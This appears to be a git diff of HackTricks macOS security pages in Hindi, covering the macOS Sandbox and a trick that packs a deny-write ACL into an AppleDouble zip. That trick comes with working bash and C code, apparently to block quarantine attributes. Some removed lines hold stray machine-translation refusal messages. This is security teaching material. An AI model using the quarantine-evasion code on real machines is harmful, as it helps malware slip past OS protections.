सबमिट करें।
- -\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown +{% endhint %} +```bash +rm -rf /tmp/test* +echo test >/tmp/test +chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test +./get_acls test +ACL for test: +!#acl 1 +group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a - -```` +```
get_acls का कोड @@ -61,10 +67,8 @@ acl_free(acl); acl_free(acl_text); return 0; } -```` - -Since you haven't provided any English text to translate, I'm unable to proceed with a translation. Please provide the specific content you want translated into Hindi, and I'll be happy to assist you. - +``` +
```bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start @@ -72,43 +76,94 @@ mkdir start/protected ./set_xattr start/protected echo something > start/protected/something ``` -
set_xattr का कोड +```c +// gcc -o set_xattr set_xattr.c +#include +#include +#include +#include +#include -\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include -void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; } +void print_xattrs(const char *filepath) { +ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +return; +} -char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; } +char *buf = malloc(buflen); +if (buf == NULL) { +perror("malloc"); +return; +} -buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; } +buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +free(buf); +return; +} -printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; } +printf("All current extended attributes for %s:\n", filepath); +for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) { +printf("%s: ", name); +ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +continue; +} -char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; } +char *value = malloc(valuelen + 1); +if (value == NULL) { +perror("malloc"); +continue; +} -valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; } +valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +free(value); +continue; +} -value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); } +value[valuelen] = '\0'; // Null-terminate the value +printf("%s\n", value); +free(value); +} -free(buf); } +free(buf); +} -int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; } -const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1]; +int main(int argc, char *argv[]) { +if (argc != 2) { +fprintf(stderr, "Usage: %s \n", argv[0]); +return 1; +} -int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; } +const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; +const char *filepath = argv[1]; -print\_xattrs(filepath); +int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); +if (result == 0) { +printf("Extended attribute set successfully.\n\n"); +} else { +perror("setxattr"); +return 1; +} -return 0; } +print_xattrs(filepath); -```` +return 0; +} +```
-
+{% code overflow="wrap" %} ```bash # Create appledoublefile with the xattr entitlement ditto -c -k start protected.zip @@ -122,16 +177,24 @@ rm -rf protected.zip zip -r protected.zip protected ._protected rm -rf protected rm ._* -```` - -Since the provided text does not contain any English content to translate, there is nothing to translate into Hindi. The text is a closing tag for a code block in markdown syntax. If you have any actual content that needs translation, please provide it, and I'll be happy to assist. - +``` +{% endcode %} ```bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected ``` +{% hint style="success" %} +सीखें और अभ्यास करें AWS हैकिंग:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और अभ्यास करें GCP हैकिंग: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
+HackTricks का समर्थन करें + +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो करें**.** +* **हैकिंग ट्रिक्स साझा करें PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index 4059e723e..2816ff543 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -1,35 +1,36 @@ -# macOS सैंडबॉक्स +# macOS Sandbox + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! +Support HackTricks -HackTricks का समर्थन करने के अन्य तरीके: - -* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)! -* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें** द्वारा **PR जमा करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## मूल जानकारी +## Basic Information -MacOS सैंडबॉक्स (पहले सीटबेल्ट कहा जाता था) **सैंडबॉक्स प्रोफ़ाइल में निर्दिष्ट अनुमत क्रियाओं तक सीमित करता है** जिसमें ऐप चल रहा है। यह सुनिश्चित करने में मदद करता है कि **ऐप्लिकेशन केवल अपेक्षित संसाधनों तक ही पहुंचेगा**। +MacOS Sandbox (शुरुआत में Seatbelt कहा जाता था) **सैंडबॉक्स के अंदर चलने वाले अनुप्रयोगों** को **सैंडबॉक्स प्रोफ़ाइल में निर्दिष्ट अनुमत क्रियाओं** तक सीमित करता है जिसके साथ ऐप चल रहा है। यह सुनिश्चित करने में मदद करता है कि **अनुप्रयोग केवल अपेक्षित संसाधनों तक पहुँच रहा होगा**। -किसी भी ऐप में **अधिकार** **`com.apple.security.app-sandbox`** होगा तो सैंडबॉक्स में चलाया जाएगा। **एप्पल बाइनरी** आम तौर पर सैंडबॉक्स में चलाए जाते हैं और **एप्प स्टोर** में प्रकाशित करने के लिए **यह अधिकार अनिवार्य है**। इसलिए अधिकांश ऐप्लिकेशन सैंडबॉक्स में चलाए जाएंगे। +कोई भी ऐप जिसमें **अधिकार** **`com.apple.security.app-sandbox`** है, सैंडबॉक्स के अंदर चलाया जाएगा। **एप्पल बाइनरी** आमतौर पर सैंडबॉक्स के अंदर चलाए जाते हैं और **ऐप स्टोर** में प्रकाशित करने के लिए, **यह अधिकार अनिवार्य है**। इसलिए अधिकांश अनुप्रयोग सैंडबॉक्स के अंदर चलाए जाएंगे। -प्रक्रिया को क्या करने या क्या नहीं करने देने के लिए **सैंडबॉक्स में हुक्स** होते हैं सभी **कर्नेल** के सभी **सिसकॉल्स** में। ऐप के **अधिकारों** के आधार पर सैंडबॉक्स कुछ क्रियाएँ **अनुमति** देगा। +यह नियंत्रित करने के लिए कि एक प्रक्रिया क्या कर सकती है या नहीं कर सकती है, **सैंडबॉक्स में सभी** **syscalls** के लिए **हुक** होते हैं। **ऐप के अधिकारों** के आधार पर, सैंडबॉक्स कुछ क्रियाओं को **अनुमति** देगा। सैंडबॉक्स के कुछ महत्वपूर्ण घटक हैं: * **कर्नेल एक्सटेंशन** `/System/Library/Extensions/Sandbox.kext` -* **निजी फ्रेमवर्क** `/System/Library/PrivateFrameworks/AppSandbox.framework` -* एक **डेमन** जो यूजरलैंड में चल रहा है `/usr/libexec/sandboxd` +* **निजी ढांचा** `/System/Library/PrivateFrameworks/AppSandbox.framework` +* एक **डेमन** जो उपयोगकर्ता भूमि में चल रहा है `/usr/libexec/sandboxd` * **कंटेनर** `~/Library/Containers` -कंटेनर्स फ़ोल्डर के अंदर आप **हर ऐप के लिए एक फ़ोल्डर पाएंगे जो सैंडबॉक्स में चलाया गया है** जिसका नाम है bundle id: +कंटेनर फ़ोल्डर के अंदर आप **प्रत्येक ऐप के लिए एक फ़ोल्डर पा सकते हैं जो सैंडबॉक्स में चलाया गया है** जिसका नाम बंडल आईडी है: ```bash ls -l ~/Library/Containers total 0 @@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -हर बंडल आईडी फ़ोल्डर में आप ऐप का **plist** और **डेटा डायरेक्टरी** पा सकते हैं: +प्रत्येक बंडल आईडी फ़ोल्डर के अंदर आप **plist** और ऐप का **Data directory** पा सकते हैं: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` {% hint style="danger" %} -ध्यान दें कि यदि सिमलिंक्स सैंडबॉक्स से "बाहर निकलने" और अन्य फ़ोल्डर तक पहुंचने के लिए मौजूद हैं, तो भी ऐप को उन तक पहुंचने की अनुमति होनी चाहिए। ये अनुमतियाँ **`.plist`** में होती हैं। +ध्यान दें कि भले ही symlinks "Sandbox" से "भागने" और अन्य फ़ोल्डरों तक पहुँचने के लिए हैं, ऐप को अभी भी उन्हें एक्सेस करने के लिए **अनुमतियाँ** होनी चाहिए। ये अनुमतियाँ **`.plist`** के अंदर हैं। {% endhint %} ```bash # Get permissions @@ -114,14 +115,14 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... [...] ``` {% hint style="warning" %} -सैंडबॉक्स एप्लिकेशन द्वारा बनाए या संशोधित किया गया हर वस्तु **क्वारंटाइन एट्रिब्यूट** प्राप्त करेगी। यह सैंडबॉक्स ऐप्लिकेशन को रोकेगा अगर सैंडबॉक्स एप्लिकेशन को **`open`** के साथ कुछ निष्पादित करने की कोशिश करता है। +एक Sandboxed एप्लिकेशन द्वारा बनाई गई/संशोधित हर चीज़ को **quarantine attribute** मिलेगा। यह **sandbox** स्पेस को Gatekeeper को ट्रिगर करके रोक देगा यदि sandbox ऐप कुछ **`open`** के साथ निष्पादित करने की कोशिश करता है। {% endhint %} -### सैंडबॉक्स प्रोफाइल +### Sandbox Profiles -सैंडबॉक्स प्रोफाइल कॉन्फ़िगरेशन फ़ाइलें हैं जो इस सैंडबॉक्स में क्या **अनुमति/निषेधित** होने वाला है वह दिखाती है। यह **सैंडबॉक्स प्रोफ़ाइल भाषा (SBPL)** का उपयोग करती है, जो [**स्कीम**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) प्रोग्रामिंग भाषा का उपयोग करती है। +Sandbox प्रोफाइल कॉन्फ़िगरेशन फ़ाइलें हैं जो यह संकेत देती हैं कि उस **Sandbox** में क्या **अनुमति/प्रतिबंधित** होगा। यह **Sandbox Profile Language (SBPL)** का उपयोग करता है, जो [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) प्रोग्रामिंग भाषा का उपयोग करता है। -यहाँ आप एक उदाहरण पा सकते हैं: +यहाँ एक उदाहरण है: ```scheme (version 1) ; First you get the version @@ -140,28 +141,28 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... ) ``` {% hint style="success" %} -इस [**शोध**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **की जाँच करें और अधिक क्रियाएँ जो अनुमति दी जा सकती हैं या नहीं।** +Check this [**research**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **यहाँ अधिक क्रियाएँ देखने के लिए जो अनुमति दी जा सकती हैं या अस्वीकृत की जा सकती हैं।** {% endhint %} -महत्वपूर्ण **सिस्टम सेवाएं** भी अपने खुद के **संदूक** में चलती हैं जैसे `mdnsresponder` सेवा। आप इन विशेष **सैंडबॉक्स प्रोफाइल** को निम्नलिखित में देख सकते हैं: +महत्वपूर्ण **सिस्टम सेवाएँ** अपने स्वयं के कस्टम **सैंडबॉक्स** के अंदर चलती हैं जैसे कि `mdnsresponder` सेवा। आप इन कस्टम **सैंडबॉक्स प्रोफाइल** को देख सकते हैं: * **`/usr/share/sandbox`** * **`/System/Library/Sandbox/Profiles`** -* अन्य सैंडबॉक्स प्रोफाइल यहाँ देखे जा सकते हैं [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). +* अन्य सैंडबॉक्स प्रोफाइल को [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles) पर चेक किया जा सकता है। -**ऐप स्टोर** ऐप्स **प्रोफाइल** का उपयोग करते हैं **`/System/Library/Sandbox/Profiles/application.sb`**। आप इस प्रोफाइल में देख सकते हैं कि कैसे **`com.apple.security.network.server`** जैसे अधिकारों द्वारा प्रक्रिया को नेटवर्क का उपयोग करने की अनुमति देता है। +**ऐप स्टोर** ऐप्स **प्रोफाइल** **`/System/Library/Sandbox/Profiles/application.sb`** का उपयोग करते हैं। आप इस प्रोफाइल में देख सकते हैं कि कैसे अधिकार जैसे **`com.apple.security.network.server`** एक प्रक्रिया को नेटवर्क का उपयोग करने की अनुमति देते हैं। -SIP एक सैंडबॉक्स प्रोफाइल है जिसे platform\_profile कहा जाता है /System/Library/Sandbox/rootless.conf +SIP एक सैंडबॉक्स प्रोफाइल है जिसे /System/Library/Sandbox/rootless.conf में platform\_profile कहा जाता है। ### सैंडबॉक्स प्रोफाइल उदाहरण -एक **निश्चित सैंडबॉक्स प्रोफाइल** के साथ एक ऐप्लिकेशन शुरू करने के लिए आप इस्तेमाल कर सकते हैं: +एक **विशिष्ट सैंडबॉक्स प्रोफाइल** के साथ एक एप्लिकेशन शुरू करने के लिए आप उपयोग कर सकते हैं: ```bash sandbox-exec -f example.sb /Path/To/The/Application ``` {% tabs %} -{% tab title="स्पर्श" %} -{% code title="स्पर्श.sb" %} +{% tab title="touch" %} +{% code title="touch.sb" %} ```scheme (version 1) (deny default) @@ -210,29 +211,29 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {% endtabs %} {% hint style="info" %} -ध्यान दें कि **Windows पर चलने वाले Apple द्वारा बनाए गए सॉफ्टवेयर** में अतिरिक्त सुरक्षा सावधानियाँ नहीं हैं, जैसे कि एप्लिकेशन सैंडबॉक्सिंग। +ध्यान दें कि **Apple द्वारा लिखित** **सॉफ़्टवेयर** जो **Windows** पर चलता है, उसमें **अतिरिक्त सुरक्षा उपाय** नहीं हैं, जैसे कि एप्लिकेशन सैंडबॉक्सिंग। {% endhint %} -बायपास उदाहरण: +बायपास के उदाहरण: * [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) -* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (वे `~$` से शुरू होने वाले सैंडबॉक्स के बाहर फ़ाइलें लिख सकते हैं)। +* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (वे `~$` से शुरू होने वाले नाम के साथ सैंडबॉक्स के बाहर फ़ाइलें लिखने में सक्षम हैं)। ### MacOS सैंडबॉक्स प्रोफाइल -macOS सिस्टम सैंडबॉक्स प्रोफाइल को दो स्थानों में संग्रहित करता है: **/usr/share/sandbox/** और **/System/Library/Sandbox/Profiles**। +macOS सिस्टम सैंडबॉक्स प्रोफाइल को दो स्थानों पर संग्रहीत करता है: **/usr/share/sandbox/** और **/System/Library/Sandbox/Profiles**। -और अगर किसी थर्ड-पार्टी एप्लिकेशन में _**com.apple.security.app-sandbox**_ अधिकार है, तो सिस्टम **/System/Library/Sandbox/Profiles/application.sb** प्रोफाइल को उस प्रक्रिया पर लागू करता है। +और यदि कोई तृतीय-पक्ष एप्लिकेशन _**com.apple.security.app-sandbox**_ अधिकार रखता है, तो सिस्टम उस प्रक्रिया पर **/System/Library/Sandbox/Profiles/application.sb** प्रोफाइल लागू करता है। ### **iOS सैंडबॉक्स प्रोफाइल** -डिफ़ॉल्ट प्रोफ़ाइल को **कंटेनर** कहा जाता है और हमें SBPL पाठ प्रतिनिधित्व नहीं है। मेमोरी में, यह सैंडबॉक्स प्रत्येक अनुमतियों के लिए Allow/Deny बाइनरी ट्री के रूप में प्रतिनिधित्व किया जाता है। +डिफ़ॉल्ट प्रोफाइल को **container** कहा जाता है और हमारे पास SBPL पाठ प्रतिनिधित्व नहीं है। मेमोरी में, इस सैंडबॉक्स को सैंडबॉक्स से प्रत्येक अनुमति के लिए Allow/Deny बाइनरी ट्री के रूप में दर्शाया गया है। -### डीबग और सैंडबॉक्स को बायपास करें +### डिबग और बायपास सैंडबॉक्स -macOS पर, iOS की तरह जहां प्रक्रियाएँ कर्नेल द्वारा प्रारंभ में सैंडबॉक्स में होती हैं, **प्रक्रियाएँ स्वयं सैंडबॉक्स में शामिल होने के लिए विकल्प चुनना होता है**। इसका मतलब है कि macOS पर, एक प्रक्रिया सैंडबॉक्स द्वारा प्रतिबंधित नहीं है जब तक वह इसमें प्रवेश करने का सक्रिय रूप से निर्णय नहीं लेती। +macOS पर, iOS के विपरीत जहां प्रक्रियाएँ शुरू से ही कर्नेल द्वारा सैंडबॉक्स की जाती हैं, **प्रक्रियाओं को स्वयं सैंडबॉक्स में शामिल होना चाहिए**। इसका मतलब है कि macOS पर, एक प्रक्रिया तब तक सैंडबॉक्स द्वारा प्रतिबंधित नहीं होती जब तक कि वह सक्रिय रूप से इसमें प्रवेश करने का निर्णय नहीं लेती। -प्रक्रियाएँ उस समय स्वचालित रूप से सैंडबॉक्स में बंद हो जाती हैं जब वे शुरू होती हैं अगर उनके पास यह अधिकार है: `com.apple.security.app-sandbox`। इस प्रक्रिया का विस्तृत विवरण के लिए देखें: +यदि प्रक्रियाओं के पास अधिकार है: `com.apple.security.app-sandbox`, तो वे उपयोगकर्ता भूमि से स्वचालित रूप से सैंडबॉक्स की जाती हैं जब वे शुरू होती हैं। इस प्रक्रिया के विस्तृत विवरण के लिए देखें: {% content-ref url="macos-sandbox-debug-and-bypass/" %} [macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/) @@ -240,20 +241,20 @@ macOS पर, iOS की तरह जहां प्रक्रियाए ### **PID विशेषाधिकार जांचें** -[**इस के अनुसार**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (यह एक `__mac_syscall` है), किसी निश्चित PID में सैंडबॉक्स द्वारा किसी कार्रवाई की अनुमति है या नहीं यह जांच सकता है। +[**इसके अनुसार**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (यह एक `__mac_syscall` है), यह जांच सकता है **कि किसी ऑपरेशन की अनुमति है या नहीं** किसी निश्चित PID द्वारा सैंडबॉक्स में। -[**उपकरण sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) यह जांच सकता है कि क्या एक PID किसी विशिष्ट कार्रवाई को कर सकता है: +[**उपकरण sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) यह जांच सकता है कि क्या एक PID एक निश्चित क्रिया कर सकता है: ```bash sbtool mach #Check mac-ports (got from launchd with an api) sbtool file /tmp #Check file access sbtool inspect #Gives you an explaination of the sandbox profile sbtool all ``` -### App Store ऐप्स में कस्टम SBPL +### Custom SBPL in App Store apps -कंपनियों के लिए अपने ऐप्स को **कस्टम सैंडबॉक्स प्रोफाइल्स** के साथ चलाना संभव हो सकता है (डिफ़ॉल्ट वाले के बजाय). उन्हें **`com.apple.security.temporary-exception.sbpl`** इंटाइटलमेंट का उपयोग करना होगा जिसे Apple द्वारा अधिकृत किया जाना चाहिए। +यह संभव है कि कंपनियाँ अपने ऐप्स को **कस्टम सैंडबॉक्स प्रोफाइल** के साथ चलाएँ (डिफ़ॉल्ट प्रोफाइल के बजाय)। उन्हें एप्पल द्वारा अधिकृत **`com.apple.security.temporary-exception.sbpl`** अधिकार का उपयोग करने की आवश्यकता है। -इस इंटाइटलमेंट की परिभाषा की जांच **`/System/Library/Sandbox/Profiles/application.sb:`** में संभव है। +इस अधिकार की परिभाषा की जाँच करना संभव है **`/System/Library/Sandbox/Profiles/application.sb:`** ```scheme (sandbox-array-entitlement "com.apple.security.temporary-exception.sbpl" @@ -261,18 +262,19 @@ sbtool all (let* ((port (open-input-string string)) (sbpl (read port))) (with-transparent-redirection (eval sbpl))))) ``` -यह **इस entitlement के बाद दिए गए स्ट्रिंग को** एक Sandbox प्रोफ़ाइल के रूप में evaluate करेगा। +यह **इस अधिकार के बाद के स्ट्रिंग को** एक Sandbox प्रोफ़ाइल के रूप में **eval** करेगा। + +{% hint style="success" %} +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! +HackTricks का समर्थन करें -HackTricks का समर्थन करने के अन्य तरीके: - -* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **पर फ़ॉलो** करें। -* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md index 164108178..b0e7a3ac4 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md @@ -1,22 +1,23 @@ -# macOS डिफ़ॉल्ट सैंडबॉक्स डीबग +# macOS Default Sandbox Debug + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! +Support HackTricks -HackTricks का समर्थन करने के अन्य तरीके: - -* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on 